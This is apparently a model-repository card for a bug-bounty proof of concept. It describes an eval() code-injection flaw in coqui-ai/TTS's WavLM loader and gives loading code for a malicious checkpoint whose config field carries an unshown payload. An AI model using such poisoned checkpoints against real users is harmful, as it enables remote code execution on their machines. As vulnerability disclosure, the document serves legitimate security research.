YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
PoC: CWE-94 eval() RCE in coqui-ai/TTS
Vulnerability: TTS/vc/modules/freevc/wavlm/wavlm.py:227 — eval(cfg.conv_feature_layers) on data loaded from a model checkpoint.
Affected repo: coqui-ai/TTS @ dbf1a08a
Usage
import torch
from TTS.vc.modules.freevc.wavlm.wavlm import WavLM, WavLMConfig
checkpoint = torch.load("evil_wavlm.pt", map_location="cpu", weights_only=True)
cfg = WavLMConfig(checkpoint["cfg"])
model = WavLM(cfg) # eval() triggers HERE
This file is a PoC for a security research submission to huntr.com.
The conv_feature_layers field contains a payload that is passed to eval().
- Downloads last month
- 15